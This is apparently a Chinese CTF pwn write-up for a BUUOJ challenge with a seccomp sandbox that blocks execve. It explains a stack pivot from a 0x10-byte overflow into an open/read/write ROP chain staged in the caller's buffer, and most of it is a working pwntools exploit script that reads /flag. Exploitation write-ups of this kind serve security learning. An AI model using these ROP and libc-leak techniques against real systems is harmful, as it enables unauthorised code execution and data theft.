首先,检查一下程序的保护机制
程序开启了沙箱保护
禁用了execve调用。
然后我们用IDA分析一下,这里没有栈溢出。
然后,我们进入9A1这个函数
这里可以栈溢出,但是仅仅能溢出0x10个字节,显然是不够我们完成open、read、write操作的。
但是,由于该函数是在9D3函数里调用,因此,**[9A1函数的栈下方就是9D3的栈空间。]{.mark}**因此我们可以在9D3的buf里布置rop,然后,在9A1里利用溢出,覆盖返回地址为ret的地址,使得rsp滑行到9D3的buf里,进而执行在9D3里布下的rop链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * from LibcSearcher import *
sh = remote('node3.buuoj.cn',25249) sh.recvuntil('gift: ') puts_addr = int(sh.recvuntil('\n',drop = True),16) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') open_addr = libc_base + libc.dump('open') read_addr = libc_base + libc.dump('read') bss_addr = libc_base + 0x00000000003C5920 pop_rdi = libc_base + 0x0000000000021102 pop_rsi = libc_base + 0x00000000000202e8 pop_rdx = libc_base + 0x0000000000001b92 ret = libc_base + 0x0000000000000937
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(8) + p64(read_addr)
rop += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop += p64(pop_rdi) + p64(bss_addr) + p64(puts_addr)
sh.sendlineafter('Input something:',rop)
payload = 'a'*0x78 + p64(ret) sh.sendafter("What's your name?",payload) sleep(0.5) sh.send('/flag\x00')
sh.interactive()
|